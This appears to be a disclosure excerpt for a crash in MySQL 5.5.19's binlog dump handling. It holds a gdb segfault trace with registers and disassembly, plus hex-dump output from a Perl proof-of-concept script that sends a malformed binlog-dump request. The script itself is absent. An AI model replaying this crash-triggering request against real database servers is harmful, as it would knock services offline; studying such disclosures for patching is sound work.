Version: '5.5.19-log' socket: '/var/run/mysql/mysql.sock' port: 3306 Source distribution
[New Thread 0xa8f1db70 (LWP 7907)]
120108 13:01:51 [Warning] IP address '192.168.2.150' could not be resolved: Name or service not known
120108 13:01:51 [Note] Start binlog_dump to slave_server(65), pos(, 4294967295)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa8f1db70 (LWP 7907)]
mysql_binlog_send (thd=0x8e6fb28, log_ident=0x8eb57a8 "", pos=<value optimized out>, flags=65535) at /root/mysql-5.5.19/sql/sql_repl.cc:1043
1043 log_file_name, (llstr(my_b_tell(&log), llbuff2), llbuff2));
(gdb) x/10i $eip
=> 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>: mov 0x8(%ecx),%edx
0x81bf54d <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1373>: mov 0x4(%ecx),%eax
0x81bf550 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1376>: mov %edx,0x4(%esp)
0x81bf554 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1380>: mov %eax,(%esp)
0x81bf557 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1383>: call 0x8541560 <llstr>
0x81bf55c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1388>: mov -0x9b0(%ebp),%edx
0x81bf562 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1394>: lea -0x590(%ebp),%eax
0x81bf568 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1400>: mov %edi,0x1c(%esp)
0x81bf56c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1404>: lea -0x990(%ebp),%edi
0x81bf572 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1410>: mov %eax,0x18(%esp)
(gdb) i r
eax 0xa8f1c804 -1460549628
ecx 0x0 0
edx 0xa8f1c805 -1460549627
ebx 0x8e821e0 149430752
esp 0xa8f1be50 0xa8f1be50
ebp 0xa8f1c868 0xa8f1c868
esi 0xa8f1c81a -1460549606
edi 0xa8f1c804 -1460549628
eip 0x81bf54a 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
unprivileged user (REPLICATION_SLAVE privs needed to trigger the bug):
--------------------------------------------------------------------------------------------------------
C:\Users\kingcope\Desktop>perl mysql.pl
Use INET Socket: 192.168.2.3 3306/tcp
Net::MySQL::_get_server_information():
4E 00 00 00 0A 35 2E 35 2E 31 39 2D 6C 6F 67 00 N....5.5.19-log.
01 00 00 00 59 4C 50 2C 29 28 2E 4F 00 FF F7 08 ....YLP,)(.O....
02 00 0F 80 15 00 00 00 00 00 00 00 00 00 00 22 ................
59 7C 24 3A 36 40 21 22 26 38 29 00 6D 79 73 71 Y...6....8).mysq
6C 5F 6E 61 74 69 76 65 5F 70 61 73 73 77 6F 72 l_native_passwor
64 00 d.
Protocol Version: 10
Server Version: 5.5.19-log
Salt: YLP,)(.O"Y|$:6 () !"&8)
Net::MySQL::_send_login_message():
41 00 00 01 0D A6 03 00 00 00 00 01 21 00 00 00 A...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 6D 6F 6E 74 79 32 00 14 21 2F FB 64 ....monty2.....d
27 B4 FE 26 89 F7 D6 E7 2A A1 C9 00 A9 CF 4E 51 '.......*.....NQ
74 65 73 74 00 test.
Net::MySQL::_request_authentication():
07 00 00 02 00 00 00 02 00 00 00 ...........
connect database
Net::MySQL::_execute_command():
0A 00 00 00 12 00 00 00 00 00 00 FF 00 00 ..............
Net::MySQL::_execute_command():
68 00 00 01 FF CB 04 23 34 32 30 30 30 41 63 63 h.......42000Acc
65 73 73 20 64 65 6E 69 65 64 3B 20 79 6F 75 20 ess.denied;.you.
6E 65 65 64 20 28 61 74 20 6C 65 61 73 74 20 6F need.(at.least.o
6E 65 20 6F 66 29 20 74 68 65 20 52 45 50 4C 49 ne.of).the.REPLI
43 41 54 49 4F 4E 20 53 4C 41 56 45 20 70 72 69 CATION.SLAVE.pri
76 69 6C 65 67 65 28 73 29 20 66 6F 72 20 74 68 vilege(s).for.th
69 73 20 6F 70 65 72 61 74 69 6F 6E is.operation
建议：
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